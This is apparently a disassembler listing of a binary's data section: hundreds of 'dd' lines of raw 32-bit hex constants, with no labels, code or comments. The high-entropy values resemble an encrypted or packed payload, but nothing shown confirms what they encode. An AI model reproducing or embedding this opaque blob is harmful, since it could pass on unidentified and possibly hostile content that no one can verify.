		dd 9EE6CCECh, 49722C2Ch, 0E376925Eh, 0CF7AD707h, 0B8E6C7E9h
		dd 8BD2E1F4h, 3D2EFD85h, 34062A71h, 0EC7FC852h,	11DF0F1Fh
		dd 1FCFA302h, 76CB29EAh, 0EE02709Dh, 6A4F792Bh,	0FEF1F8B4h
		dd 0EA366435h, 0EE5AAF4Bh, 38F5FF52h, 2C0AA566h, 9B933600h
		dd 4CB83CE6h, 0A1A0C300h, 0DC3D457Fh, 8D2A084Eh, 3230CB95h
		dd 0AE757D39h, 0D7365893h, 68485C37h, 8E59E1BEh, 8A718C0Ah
		dd 4481577Dh, 0C765E326h, 58080BE2h, 7B6F5258h,	2DFAA4BFh
		dd 7809622Fh, 5EEDB819h, 98F86646h, 1120980Dh, 0EE0BB4C2h
		dd 588D108Dh, 0BDB50920h, 0EF5134Ah, 0E90D716Dh, 44F46C53h
		dd 0A44711C2h, 5D02CFF2h, 0F195B5F5h, 76AAD7BFh, 0A5F2911Eh
		dd 0B5F85EEFh, 9584E541h, 2FF145C5h, 0E74DE806h, 0EC09FAB0h
		dd 4D402DF4h, 4B144A5Dh, 0D1F1CCEh, 0EF8B39EAh,	0BFE5C2C0h
		dd 7AFCF3h, 0E658B4ADh,	7C665E74h, 0E8F6A9F7h, 0B61A3DBDh
		dd 8D72FA0Ch, 3349E87Fh, 7EDBE6C7h, 33CA08B4h, 5E808469h
		dd 0C86CF467h, 749C6196h, 9D6C6E1Eh, 0B6F1F3ECh, 0A6DE26CBh
		dd 0C414CED4h, 7925E4CDh, 34185699h, 0E64AEED0h, 901D88E5h
		dd 1C7871FDh, 27CEDF14h, 0B3F994C5h, 2F7D9912h,	0C4B81456h
		dd 47F73A97h, 0E7549F85h, 30939229h, 5247CC54h,	48A849B8h
		dd 4B237769h, 1F850B5Ah, 0A60F8A19h, 0B5388B3Ch, 0E26F3C8Ah
		dd 478EBDE3h, 187897D7h, 0E2820ABh, 18CFD34h, 37934B38h
		dd 5EEB7EACh, 4EB66B8Ah, 0BD70C53Dh, 4526DD45h,	0DE48F5B9h
		dd 0C62947B2h, 5A38E70Ch, 83A5231Ch, 93C7DFCEh,	0D800907h
		dd 0F007CC94h, 9DF27A9Ch, 4A8D063Dh, 6B98CFD9h,	0E12A9FF5h
		dd 5530667Bh, 6F7FD9FCh, 24B378E7h, 4FD6A45Ch, 1487689Ch
		dd 8903EFC5h, 0DC419E16h, 0F43AFF11h, 0AF3C815Bh, 0A67CCF01h
		dd 47CBDE34h, 0D25209B1h, 65993487h, 50D38D7Ch,	0E8FAD2A6h
		dd 1613404Ch, 0E67F20E3h, 0DE08A5D9h, 0F25E9A6h, 0BC7F5657h
		dd 0E7E7D6C5h, 0A2474E0Fh, 2AEA3DC9h, 0D2032ED6h, 0E1FB21A9h
		dd 4D422D3h, 0AB1716D4h, 0B3671269h, 0E7171959h, 24C31Dh
		dd 0EC22F490h, 0BA264E5h, 6E81A7A0h, 0A0B209D8h, 0B48E5F80h
		dd 2EAF90Bh, 1FE23C9Fh,	232ADCCFh, 0D814108Fh, 0DDE7A230h
		dd 4CBB786Bh, 774A34A0h, 7CDE070Bh, 3474590Fh, 15C01885h
		dd 7B0DA237h, 31C9578Ah, 3634B06Eh, 0A24E0445h,	0C2015EFBh
		dd 0F232B746h, 753080EBh, 80AD28C6h, 0B630591Bh, 0DF51056h
		dd 1CD518D0h, 0AA48029Dh, 258ECAA8h, 65F175DBh,	0A3A0AF47h
		dd 0F984D3B5h, 332BC598h, 654A66ADh, 37927C63h,	3E9D01ECh
		dd 667F6D53h, 27331AE2h, 47CC352Ch, 8BA9445Fh, 0A5BB87C7h
		dd 0EFC17788h, 0AE97D726h, 3497D3E9h, 53C2FAE9h, 0FFE00796h
		dd 390A4622h, 0D248C14Ah, 0B237F3E3h, 0BAAEFD46h, 10909E13h
		dd 846D31F0h, 0BEADA63Bh, 687BF4FDh, 99C78C30h,	561E3E54h
		dd 0F4160703h, 0F01AFB3h, 91162AFDh, 0F97B1D14h, 96E9E888h
		dd 0C831C37h, 0E10A7B38h, 12B9841Dh, 8CC7138h, 0F90CF6B6h
		dd 6ECDDE73h, 32B162FDh, 8457089h, 62B844CAh, 647D55C7h
		dd 0CFA4489Fh, 0C4A353C5h, 507409BFh, 0B403098Eh, 9FCF970Ch
		dd 1EB75A8Fh, 6C1241B9h, 66B11AD4h, 0ECAD8FE0h,	5C561336h
		dd 35EE0298h, 8E97D868h, 73E4582Ch, 4EC78C55h, 0F1A0813Ch
		dd 0E10AB6EBh, 202472F5h, 0DB42275Dh, 0AB254DCh, 64981D8Fh
		dd 0EC48A73h, 0FF61408Ah, 7ABEC409h, 49DF966h, 0DBD4EF8Bh
		dd 947A4EE5h, 0FB2A7012h, 4D2B7341h, 975AA6F2h,	708B98B1h
		dd 33D40879h, 82976959h, 0DF0885B7h, 0F80809E2h, 86A0083h
		dd 0C19B49CEh, 6A10AB49h, 0B8D85E03h, 1F998CFCh, 9B80A7ABh
		dd 502891C2h, 0AB6B33ADh, 76174E98h, 3C487399h,	0F2510D02h
		dd 29C3D6C3h, 5155A4D6h, 521F4356h, 0B0A1586Bh,	0D29CFC1h
		dd 2EB20D16h, 75CCF9C9h, 4ECED7C6h, 0BED2F0F8h,	4D37AA9Ah
		dd 8CD56139h, 95E7C668h, 0EB475F28h, 0B0488575h, 2781D5C1h
		dd 0DB363972h, 0C393AD16h, 886B20D2h, 66B53A26h, 298B87AEh
		dd 0BC77D387h, 0D2421673h, 97966322h, 0D5FEFF01h, 0F6B3190Ch
		dd 0D5EAE53Ah, 0D9F36D42h, 2737ECD6h, 0EC8C6299h, 0AF25E11Eh
		dd 32DAC707h, 426E71F6h, 0A7472DFCh, 0B9E698E9h, 15C5B4EFh
		dd 83A52684h, 50EBD5C8h, 0ED28CDE9h, 655E1491h,	0FEE74EBDh
		dd 0CF81B3F4h, 0EFDE8839h, 746ED8E7h, 55466518h, 5E4005B3h
		dd 0C26E7A56h, 7334EE91h, 8052424h, 77467F7Ah, 5ED49342h
		dd 0A92E4151h, 8B323A0Ch, 0F086F63Ah, 5207AD1Ah, 6AE861B8h
		dd 0C57D5Bh, 40593ED8h,	0D34CB75h, 9BE1D90Fh, 0A7E02EEEh
		dd 150CF0EDh, 2157EDCAh, 0DA3E28CBh, 9ED5903Fh,	842F27AFh
		dd 7A5E9E12h, 9667456Fh, 0F166809h, 0F8FAB173h,	0ADDDA062h
		dd 987570EDh, 23A5E35Eh, 23F9E8A4h, 0AC2C0096h,	503E445Bh
		dd 0B336A771h, 7D6F86F8h, 88ED4C23h, 4653C34Eh,	89609CCAh
		dd 7F405974h, 4E8CD6C5h, 0DB0D401Fh, 901F2411h,	0E198302Ch
		dd 3A10309Ch, 0A3B3DBB1h, 60146F63h, 0EFB7AC46h, 390B3ACh
		dd 0DD9F2E00h, 79B2871Fh, 0D635278Fh, 0E6CA47D5h, 0F4A20DDDh
		dd 1B7B506Eh, 0E1DED242h, 91D6A99Dh, 9608CEB9h,	0FF2E7F4Fh
		dd 0F1C88BA1h, 30BDC029h, 0EC8F7655h, 4686E7DFh, 0DCDB17B7h
		dd 0C8795AF9h, 0C6A9EB74h, 0B8CAD0CEh, 353B41ABh, 8840398Ch
		dd 0D0992E0Bh, 0DD77862Fh, 7E44FF85h, 6513F90Dh, 5A0433ABh
		dd 0F88FF8EEh, 52C901Ah, 20DD4919h, 0FE338AEFh,	0F82EBDC0h
		dd 258542D1h, 0E642C76h, 70F4DC88h, 0D1FA2653h,	0C5D29670h
		dd 0FBE257C7h, 0C50E5AE3h, 98F9AC67h, 3A8B3077h, 75EFEE74h
		dd 0BB35A021h, 0A97C68E7h, 14E715EBh, 14B69F0Bh, 3E081206h
		dd 0A5CE5629h, 0D553904Ch, 0B54C5588h, 0DCE124FBh, 508F51E3h
		dd 0A12D2313h, 9949FC3Fh, 44784B20h, 559C2CB5h,	0D3A6A33Dh
		dd 82968DC5h, 0B6C447AAh, 765B7345h, 0A65F2B22h, 59F3A65Eh
		dd 0FD8BA965h, 0E4C87E71h, 0DB96E430h, 0D6CDCC34h, 49E51531h
		dd 56B729BFh, 2A09A644h, 46AE6152h, 72F52315h, 7784472Ch
		dd 5406D371h, 45D2A2B9h, 0A79B7FA7h, 2D81D5BEh,	90767B57h
		dd 71A00F28h, 1E0450F7h, 0D461DE3Dh, 0CCDDFA22h, 22694156h
		dd 75813E35h, 0EA81A61Bh, 627C6747h, 24924B4Ch,	0F20146C7h
		dd 9C3C3E08h, 4ED14FBFh, 19145AFh, 55488561h, 1142B7C1h
		dd 0C9802446h, 9B09DC22h, 0EF466303h, 8397BC46h, 0BFADBF53h
		dd 23542351h, 0B1C401EBh, 0D1999269h, 0D9CCDAA2h, 69FDCED8h
		dd 0EE017759h, 4E582294h, 0CF78724Ah, 0AC3D0306h, 42F8B59Ch
		dd 0F6C997C7h, 0AE2ADD68h, 0BE33AA3h, 0B531F708h, 0FD436A77h
		dd 9C176384h, 0BBCA3663h, 0AAB15A74h, 5B89C615h, 7F6000CCh
		dd 74463BB1h, 291913EFh, 71E93579h, 32A3BD58h, 0AE5EE6DCh
		dd 3746E9E7h, 70A6D3A1h, 0DF447A20h, 0B76D1895h, 2E9BF95Fh
		dd 61C32343h, 0DC48CF08h, 0EF39EEB4h, 1EEBAEA7h, 93A46BEBh
		dd 0A0745C5Ch, 0AF12CAB4h, 7FC21BB3h, 2B647678h, 0DB5793C1h
		dd 81BCB58Dh, 699F3E74h, 0AD50EE1h, 0C235BA95h,	1EBEE87Dh
		dd 38C2D52Dh, 0CE3F5EADh
		dd 8451A2FEh, 0C91F3489h, 204F4B05h, 0B87CB6F9h, 1F365B92h
		dd 63C28514h, 0B90CEF5Bh, 0FEF06E91h, 54C46920h, 865B975Ch
		dd 9048B0DDh, 645ADEFAh, 8B0A6DFBh, 63380F6Fh, 0B4C57631h
		dd 47E48CE1h, 4EA763CCh, 43AD0AF0h, 1D2B8CA3h, 9671B676h
		dd 0F7AB904Fh, 521BC1F3h, 0CBFFD14Ah, 6876EEB1h, 0D54F5D09h
		dd 589645B9h, 1B9BA567h, 0E47B64DAh, 7682B229h,	3CC3F986h
		dd 14CFFEDAh, 408D1059h, 9348C412h, 3C7D969Bh, 3F197508h
		dd 0D6D6D591h, 7DE13E5Ch, 299CF761h, 0A86A2Ah, 0BE52E8A8h
		dd 87A68247h, 6EFCF70Bh, 55D67626h, 4EB60B6Dh, 0F17D8555h
		dd 78161044h, 7CE35B7Fh, 0AA2CD120h, 3358CFEh, 3BF4A38h
		dd 7A44285Eh, 0E2E9F6Fh, 31936C38h, 71B6335Fh, 85BD1524h
		dd 0FC51AF09h, 335F23CCh, 8ECE4737h, 66E777ABh,	86DEAE94h
		dd 5D8CF8DBh, 5CBACF34h, 0A8479EDAh, 14AD3DA2h,	529D036Ah
		dd 0D2F61727h, 78C43199h, 678DE9ADh, 0CB9D0D3Fh, 0A2C4D582h
		dd 856F6995h, 0C55FED54h, 160C0D7Eh, 0BF24105Ch, 0C68A386h
		dd 0E7533A4h, 0E45A32EAh, 61F98C23h, 75F219B3h,	0EA37B0A3h
		dd 84F0B5B8h, 0FB33B19Bh, 0F6A90467h, 9F478A16h, 51FA8E6Ch
		dd 4A85D5AFh, 71339D08h, 4DF13302h, 0F264B2D5h,	554369E6h
		dd 2BDF5CF5h, 0A5B7FEBAh, 0A6017DFDh, 0C4E591A2h, 0E1C8BBECh
		dd 797DAF56h, 9E4EED60h, 927C31E2h, 519F1F56h, 1541E495h
		dd 0B89B6C39h, 0F12F48D5h, 0A037833Bh, 6471B491h, 76A907BCh
		dd 0A63C6490h, 0E6966628h, 683E01ACh, 0BEC052DAh, 8F77542h
		dd 5242E2DFh, 24ACCA98h, 0E8C8F10Ch, 0B1669429h, 850AAA24h
		dd 602AA719h, 80C51CDAh, 0E15D4DFFh, 95DD8072h,	215F2851h
		dd 5666DE5h, 0D784A90Eh, 0DFD49620h, 0D8F2E19h,	0A8E7BEECh
		dd 8C888453h, 9582D99Fh, 500A759Eh, 0D343D6BBh,	25A1D588h
		dd 9FD6A45Dh, 0C92E001Ah, 0F0908EA8h, 6AC3E6DDh, 29BF79AAh
		dd 0DAC18B6Eh, 0FBA4B3C3h, 60EAF1A2h, 7057C2Bh,	4E767FB9h
		dd 679D0A0Fh, 2767B6A0h, 0CF12763Eh, 2B464A93h,	7496B9FDh
		dd 2D038305h, 14937D88h, 3F3A4A82h, 6FF244F2h, 0D558282Ah
		dd 0F8B08F0h, 82B8FD8Fh, 0C3A53454h, 8ADED56Ch,	1AA65B58h
		dd 0E98CC0D3h, 60D18C07h, 20BFE0D9h, 0A80845D3h, 82C33877h
		dd 30B9CFE1h, 0C630900Fh, 7C7DCBD7h, 0E7EFD811h, 7F907BF3h
		dd 41E6EB61h, 2B944CBEh, 1A436CC2h, 0F70D38CDh,	0E0CCC736h
		dd 9F06D1E4h, 9137F1BEh, 0D4119606h, 3FE76DC2h,	25BF5787h
		dd 86C9FA48h, 0AA68CA35h, 9A6C11D3h, 0C0F4D613h, 0B1D27B98h
		dd 0CDA6BF47h, 0CF855388h, 405523E5h, 8BC072D5h, 6FBA43FAh
		dd 0CA1F0FD1h, 74B3DDB6h, 0A6D7FE9Fh, 1C2ED4DFh, 62014F2Ah
		dd 9737687h, 0EEE11274h, 2B99DD77h, 1BC6AD0h, 0AEEE89B9h
		dd 0F876DE4Fh, 2A1B8463h, 0D4BC15A6h, 1285B5D8h, 69EF357Ch
		dd 0B73818B4h, 0A9AC4A35h, 827C506Bh, 7AE1863Eh, 914525C0h
		dd 335E6A56h, 93D96AE4h, 21F7498Eh, 926188D4h, 3B060DEBh
		dd 0D8524F4h, 6CF7661Dh, 0BAC01FA0h, 0F2368110h, 53EC31C2h
		dd 7D2CCB64h, 2CD629F1h, 67E41B48h, 0A3A1EF9Eh,	1D66B2A1h
		dd 587E2754h, 9201E793h, 49708067h, 0E346211Fh,	1B7DF996h
		dd 0C47981E1h, 2D8CFE6h, 0D168B7FDh, 611EE104h,	47FCCBA6h
		dd 0E17F2E35h, 85BCFD7Ch, 3819DBF6h, 5139D03Ch,	1E57A5BCh
		dd 8A7FC39Fh, 266AE452h, 9E06F666h, 5FCD919Ch, 71F2034Dh
		dd 3194E3DFh, 0C8762BA2h, 0D3F971BDh, 0F57DAC5Eh, 0EB754AA6h
		dd 58E50635h, 0BCDA2E2Ch, 0E56CC547h, 0FD0DF88Fh, 0C2317725h
		dd 1F0A7432h, 0F65817CAh, 6AB480A0h, 8A0428A2h,	0FADB768Dh
		dd 936B53E9h, 0EFC8208Ch, 5EE6EFA2h, 0D8072406h, 0CDC48EAEh
		dd 644F4531h, 0D1A3F53Dh, 0EB018CF7h, 0E3FD3F37h, 0E0C49A77h
		dd 8D1CE492h, 9E742D55h, 9D12F46Fh, 8170D183h, 7BFEAE56h
		dd 2C5D1737h, 9F7F48D9h, 99DD9982h, 946DC827h, 5339BB64h
		dd 4E4E01BAh, 81E93FD7h, 259EBF93h, 9440E89Ch, 3594B0C9h
		dd 6C30E199h, 1FA47BF2h, 55C5E4Fh, 0F48C5145h, 77B315BBh
		dd 137953F3h, 7A3C4FCEh, 811F146Fh, 0B71C8247h,	90DC2627h
		dd 2AAE177Ch, 0A946D662h, 4CB65EBFh, 3AD30E38h,	0BCC10852h
		dd 281D59D5h, 0E347FF7Ch, 19EAACBEh, 694483CBh,	0B3F468E4h
		dd 0A54E3FBEh, 3D105E7h, 2806ED45h, 88A704C1h, 0E2E07F8Fh
		dd 4D9BE932h, 0F56A8EBAh, 509BE458h, 0F753EC11h, 3D0A4BE9h
		dd 58FD6232h, 7176126Ch, 0D8586854h, 11B9C3D3h,	257A69F3h
		dd 6117B294h, 40D8C66Eh, 0C5281031h, 16A78EEDh,	0E761519Bh
		dd 0E1BA505h, 3D0758BAh, 0CC66F5AFh, 0BD2844ABh, 0DD074B1Ah
		dd 33B25D6Dh, 7693D5A0h, 0D9628772h, 2D1CAC90h,	3D7D71FDh
		dd 0E69D955Eh, 838C0007h, 0BD37852Dh, 0EE8D7C3Eh, 0A48D6917h
		dd 0E674E1AEh, 27872249h, 10D5B7F8h, 3AB70ADh, 0AACA1319h
		dd 329BD03h, 3529A1F1h,	82E18EE9h, 348A6647h, 70990EDCh
		dd 68D76946h, 46886D8Dh, 0A2DD09ACh, 81030506h,	15049044h
		dd 0DC10ABDEh, 0DDCC8B8Fh, 27D66826h, 0A790FD8h, 19F275Ch
		dd 514034D3h, 47F2D1F9h, 8E246419h, 0FF40A022h,	0F4BF748Fh
		dd 0B1579571h, 7CF39F2Ah, 1F3BB4C8h, 1637329Ch,	925B0D38h
		dd 91AFE184h, 490C0366h, 85247F51h, 5E445CD3h, 58CCB161h
		dd 0CF651582h, 0D610D55Eh, 0E475EAD3h, 3C4448AFh, 28E9061Fh
		dd 0CFD76098h, 80F2034h, 0C9674056h, 0F9D9E538h, 0D9A90821h
		dd 9680D1BBh, 3BFF26BBh, 19BB0820h, 7BD2E6B1h, 0D2862946h
		dd 446ACEC3h, 1B60FA11h, 5320C456h, 0C864AD27h,	32085245h
		dd 9C60A13Eh, 0ADEBDB93h, 78F7C0EEh, 776369DFh,	0E96504BFh
		dd 898E9D5Bh, 82033FB7h, 0F379B035h, 46D469A6h,	214C7325h
		dd 110548C5h, 70B96054h, 0A211DE84h, 600BAC18h,	55E17546h
		dd 0E271CE37h, 0A9FBFF8Fh, 8FF267F0h, 203C0ECFh, 298D9166h
		dd 749FB135h, 670C3E47h, 0B8C44D9Dh, 0B6FDD73Ch, 56DC1F59h
		dd 5DD9BCFAh, 2FE91423h, 0C503B415h, 0B5942557h, 56945CC9h
		dd 6D11F49Ah, 76A6A02h,	30A11031h, 4D48819Bh, 2B7F425Ah
		dd 0ED170C8Bh, 259AB5FFh, 3776DC77h, 0C983E2FEh, 0C590AD66h
		dd 0B0D497C6h, 0F322FD89h, 49401659h, 74D4F7BEh, 35462D4Ah
		dd 44DBD0E4h, 8C6D0CF9h, 0EFD9EBD1h, 0D19B3FF8h, 58A57A64h
		dd 0AF140C1h, 0E14D29C7h, 0D36DBC82h, 9954FE04h, 0E815EEE5h
		dd 5756A30Eh, 114E896Eh, 0D63FA9E9h, 0F75DB6D1h, 9B478174h
		dd 0CB1B4F43h, 0A5CBC358h, 465F1182h, 32F0CC56h, 71ADCD5Eh
		dd 93D4FCF3h, 332B0ACDh, 0F5A3DFBAh, 1258E470h,	4A55BBD6h
		dd 90AAAF0Ah, 95AE829Eh, 0B7D0F41Ch, 94912F2Eh,	268FC78Ch
		dd 41E1C71Fh, 821BCA58h, 8DE8871Bh, 2345780Fh, 0EDC88453h
		dd 6470C265h, 0F6701FCBh, 0B1AF4C83h, 468D873Dh, 9BB8A77Ch
		dd 3DAD9163h, 0A3FCAA90h, 559E4286h, 58A0B6DFh,	0AD425CCEh
		dd 6485EC9h, 1EDE6998h,	0FD8DA212h, 0B9FB02E3h,	3B6BAB32h
		dd 946E2EF4h, 8E0DBCB4h, 582BDBBAh, 9DB9E4E3h, 0E17D3FC6h
		dd 0EE96729Eh, 0DEA7B4F0h, 0C9728A96h, 2FACB828h, 74A2727Ah
		dd 240DC985h, 0F0BDE95Ah, 0E6D9D957h, 8C302DFBh, 0BB8B6409h
		dd 0EE9C0CB8h, 3F72901Fh, 15A86818h, 10DC26B0h,	0BF9CBE5Bh
		dd 0C629C3EDh, 2631EDE7h, 0A66C5C5h, 392E8C35h,	0E07476CAh
		dd 33A4E28h, 0E9013761h
		dd 0AEE68109h, 0BA52C798h, 0E55525D5h, 0CC798A3Eh, 37DCD7BBh
		dd 42104F75h, 378EF79Dh, 0D1977C64h, 0F85A8C08h, 0A164ADD5h
		dd 4E5220EDh, 0E109D4FFh, 7F85C08Ah, 0F734ED1Ah, 0D4F9795Ch
		dd 3C087A5h, 98592901h,	0B43C627Ch, 631CFC2Ah, 6CED12BDh
		dd 0C09DDDADh, 71DEF973h, 90E4AFBDh, 5FD9D93Ah,	369D2305h
		dd 6A7213Eh, 0DBEBC565h, 0B41586E0h, 7B66655Ah,	4EC50D8Fh
		dd 64695FBFh, 9281B79Fh, 27EB58A6h, 8808C25h, 38240FBEh
		dd 51C46923h, 418B908Eh, 0F33309BEh, 9B4B2B9Bh,	0F41F1988h
		dd 624B6185h, 24BAB06Fh, 0E3A22BB7h, 5CF60C26h,	100A4279h
		dd 0AC4043F3h, 4A5FF74Fh, 724B553Ch, 0C07C4E5Fh, 75CF8DB8h
		dd 1C3D7DCh, 0CF98D096h, 6DFB9324h, 0F882CBC2h,	0B3AA5F02h
		dd 0D9395543h, 0C87F7592h, 1A887E32h, 0EA932518h, 0B503F262h
		dd 6AF16786h, 6DFC26ECh, 1CE2EA85h, 0E6DB2BFFh,	4C2C3BE4h
		dd 0AC604E27h, 59295202h, 74CFD144h, 179128B3h,	0EA8FAFB4h
		dd 0CF2BD96Ch, 0A73FB227h, 0D58D8568h, 8F8513BDh, 61E35960h
		dd 7C922C43h, 0B3859C4h, 0D83A75D8h, 0E7417BC9h, 0FCC94B35h
		dd 7B5CADFCh, 4363BDE2h, 3AFAA36Bh, 0F2000E74h,	2E3D72DCh
		dd 91D95719h, 45ADA88Ch, 0AF2B7D7Ah, 0C89740D1h, 447AB5A5h
		dd 0C8A939BAh, 3A5A15F3h, 0A27A7BC9h, 627E19DBh, 0FEC0EEC7h
		dd 3E54BDF0h, 0D3FD673Ch, 0CABC44EBh, 7762027Dh, 95DAD275h
		dd 0A91D3F26h, 2D9216FEh, 0BF19DEh, 0A0D9924Fh,	47E20036h
		dd 0F1CD1AC7h, 0FB84C74Bh, 0B132246h, 614F7270h, 5E65555Ah
		dd 54815288h, 0D33132B2h, 6B39F6ADh, 9E9474C3h,	9F3DFFA4h
		dd 0BC3A0D29h, 1838B6E4h, 71AE8528h, 648EA819h,	232283D9h
		dd 87853912h, 93C635EBh, 4060D258h, 6D6805B4h, 735A4148h
		dd 7BA449B8h, 0FECAD660h, 862940AFh, 0E4523914h, 0AEE93300h
		dd 0A96B94FCh, 7192370Fh, 0C4D292FFh, 0B802B49h, 0BC4A1C6Ah
		dd 2BE7C17Ah, 9AA715FEh, 5B3B746h, 60C04BC6h, 14D05E1Fh
		dd 49402151h, 6C9DB33Eh, 354EDDD3h, 0A2AB8586h,	0F9BBAC87h
		dd 15F9F060h, 0BC5EAEE1h, 0C81676A8h, 0AB815307h, 6870D36Eh
		dd 3A4CFDB6h, 694BAA58h, 0D09DAEA1h, 0ED9C90DCh, 0D10F1DBDh
		dd 0B592ED8Ch, 0B00D7097h, 0A463473Ah, 60C851C9h, 83DCA98h
		dd 56D76C77h, 56B45378h, 8DBFC87Ch, 64269035h, 2B148758h
		dd 0FE7A810Ch, 0A22F25CDh, 9A40661h, 0C64E3505h, 6934AC47h
		dd 966CA544h, 396778D9h, 0D5AEF7D5h, 6ACE9525h,	8AD7F780h
		dd 8ACB30D9h, 49803457h, 6F37D1BBh, 5AD2C37Ch, 0F40B374Eh
		dd 21C005B9h, 0A0946D48h, 56545DACh, 0C9E46B3Fh, 850530C8h
		dd 296DBF01h, 0AED352B2h, 5958CCDBh, 8A9B7FA9h,	3AAC5658h
		dd 27E67D49h, 3B3E8AFFh, 0D4AE128Dh, 4EB0B7FCh,	1D363753h
		dd 87DB5466h, 2F6B178h,	0D1D05A4Bh, 62FBE800h, 270A2985h
		dd 8EF989DBh, 4BD4CC6Dh, 3F73B6h, 885A19A6h, 9D696340h
		dd 0C8CE5C88h, 0E1D96321h, 9A3A750Bh, 0C24549Eh, 0B25B0BBFh
		dd 3737DFCFh, 2AC9AB22h, 6931BA17h, 0C294EFBFh,	0C142D755h
		dd 16FF8BD7h, 60677CBAh, 0D79A5132h, 7BD758AFh,	10417D3Eh
		dd 0C2C3363Dh, 0D2A6371Dh, 0FCEEAA99h, 0DF0B7334h, 0B2B5A1E3h
		dd 9BD8443Bh, 84A127A8h, 9693EE9Dh, 2CC4FBC8h, 0DD3D08B0h
		dd 42FA37E4h, 0A2A40CD0h, 66E41AE8h, 68AF24CBh,	0D7A7DEDCh
		dd 0AD7C9AD2h, 71CD27A5h, 9D9C544Fh, 0F3AF066h,	5DEED10Ch
		dd 0CF8AF2F8h, 0B1BA8886h, 23067E80h, 9252D7D6h, 0D8233FF5h
		dd 0D278A55Ah, 8CF2200Ah, 0A6A3F964h, 11B6E2Ch,	0D88F9052h
		dd 673CF4D9h, 58542935h, 539368F4h, 85F03F39h, 0C82CD610h
		dd 18ED2EEAh, 0AD908B62h, 25E83340h, 0E5B9C4C3h, 3C0E60FBh
		dd 10FFC31Fh, 0BA97ACEAh, 1D3298B8h, 0EBC0A0BDh, 537E70DAh
		dd 16802A55h, 0DBF076E5h, 0D2C268C6h, 1A21CF3h,	5DE0C98Ah
		dd 0CA5CC81Ch, 0A07076C7h, 2093F409h, 0FE139787h, 866DA1D9h
		dd 0B86254C5h, 4805040Eh, 2A57B12Dh, 90696857h,	22DF580Ah
		dd 0C7094AFh, 0E06FFDC1h, 1DEB2A95h, 6F7E11F9h,	46F94A73h
		dd 191FB9BFh, 0DCBE51B2h, 0A2F2E45Eh, 405D6715h, 0EE01FBEFh
		dd 0EF41E54Dh, 9F47115Ah, 0EA725FE7h, 0A41A482Eh, 0D82688C4h
		dd 62CBE3C2h, 0C9BE1A8h, 0AB81EC0Ah, 7CC96F34h,	6DA3EB06h
		dd 12E7BC3Ah, 0E28A8B81h, 0A7ADA198h, 4D71BF88h, 50BA5FE9h
		dd 0AAEC6662h, 8BF9F629h, 1D7C9823h, 595310DCh,	0C7075484h
		dd 6F6FD1C1h, 0C2E5BC48h, 2E864671h, 0DA901595h, 6A4447C6h
		dd 0A5BE1A8h, 0BEF24928h, 77B783E7h, 0D2767417h, 0F770843Eh
		dd 0D403DDEEh, 9EB6315Ah, 89F69262h, 0B4D7ED1Dh, 786A2089h
		dd 742558BEh, 0D197377Fh, 1EE5DA19h, 359B14Eh, 0AB86923Ch
		dd 2CD2BD91h, 87A67B25h, 116D3940h, 0A036A72Fh,	0F54C853Bh
		dd 335C90C3h, 57E0EE21h, 0C9CB581Ah, 477D998Ch,	0E7EDB150h
		dd 0DE71ECF1h, 53983032h, 2F750816h, 0F34B98F1h, 9C8196FAh
		dd 3DDA7E5Ah, 0E3631701h, 0C386081h, 0E2D2DB98h, 0FF64E895h
		dd 891AF47Fh, 0C496BA6Ch, 0D05FED6Ch, 40E1445Ch, 41442F50h
		dd 0B1A56E30h, 42E8EDA6h, 0B213BD2Ah, 0E50E7DA2h, 0C5429FDCh
		dd 1E9C4D4Eh, 5878AC93h, 81EFAAh, 0AA46495Fh, 0E52A94B4h
		dd 0B94DE117h, 0EE4F6E28h, 7AFA6CE0h, 0C575FDC1h, 3920474Fh
		dd 7EDE243Ch, 57B4603Dh, 0FA113E5Fh, 6AB385E3h,	43121454h
		dd 0A83E605h, 87385Ah, 8BED9664h, 410D333Dh, 0E8E4124Bh
		dd 367A670Ch, 0CE814C2Ch, 0C33E3879h, 245E22CAh, 5CEC3F88h
		dd 0BBE29F5Bh, 3EE712E0h, 0C26EEEC6h, 761BA528h, 0CB97F964h
		dd 0D743A6DBh, 1863CEE1h, 9384CAD1h, 95EB5689h,	4CEAAA65h
		dd 45E744AFh, 38E25C08h, 7D0F31F2h, 59E1CD63h, 5C053FD5h
		dd 0BF98B563h, 27F1AC64h, 6BCFA0D2h, 5E43F5CDh,	1DFB4136h
		dd 429F2B3Ah, 2A820531h, 760584EAh, 0C05C97ADh,	0D4B1567h
		dd 1414FD9Eh, 0A3254B8h, 23D6F2F7h, 0A51939F2h,	6507836h
		dd 0E57A7D8Fh, 35FCFF9Bh, 0F700AACDh, 4894ED13h, 0ABE39CF5h
		dd 416EB932h, 1C467DAAh, 98E4DE87h, 6DB617A3h, 194F947Ch
		dd 8613C57Ch, 937633C6h, 0CF011BDCh, 0FA8341A2h, 304DC777h
		dd 0E2E3F3A4h, 0BB628DC5h, 0BDB5F967h, 42F33357h, 0C7B930C9h
		dd 92049F89h, 0A06F627Eh, 0FBC72B3h, 6C501Fh, 0E1C5C331h
		dd 36BDBF83h, 635FC3D9h, 0AB2D747Bh, 9FD1C3B4h,	921A3F63h
		dd 0DB3D87C0h, 86C7FF22h, 0A6B75F54h, 98F944Ch,	0DF9B28C7h
		dd 1AEBE9EFh, 2EEEBA79h, 0F2C16DADh, 2EBBE2C3h,	0D0E7E954h
		dd 9C4C711Ch, 368E3902h, 0B0F1B308h, 0E92D2FD4h, 907FE89h
		dd 545A7AA3h, 0DDCDB4AFh, 7AE9F795h, 4654FDDh, 0A0CE26FEh
		dd 7CFDB178h, 0C69C0010h, 3F696D93h, 7F12F3F5h,	4EAC982Fh
		dd 405DC428h, 4F6C04FDh, 0BB6EE927h, 255D4FFFh,	99FE4B01h
		dd 47E2E1B3h, 9270E36Ch, 9D16AE1Ch, 63674CDh, 762A9FADh
		dd 4D551BCBh, 0D5EDB7B1h, 0C1FAD2Bh, 0DC9C271Bh, 8C05821Ah
		dd 0FDA8DBE4h, 444F7148h, 0D68937D7h, 892C3F8Ah, 0A2A9367Eh
		dd 0E6086BACh, 5252F15Ah, 0BF713EC0h, 34EC0AF0h, 6B46DF10h
		dd 0E34FD3AAh, 0C2E7039Dh, 634B106Dh, 3891558h,	6F5F8DCEh
		dd 0A3668A73h, 2F135FA3h, 0A171CD38h, 0FE638E2h, 35C175D5h
		dd 0AAE20063h, 0F28B4DB1h, 44243708h, 45CD6CCBh, 32A590A0h
		dd 33CD7EBDh, 0ECCA8171h
		dd 0A7DD81DAh, 5CF548EDh, 5DBCF534h, 57D59F8Eh,	587BBD1Bh
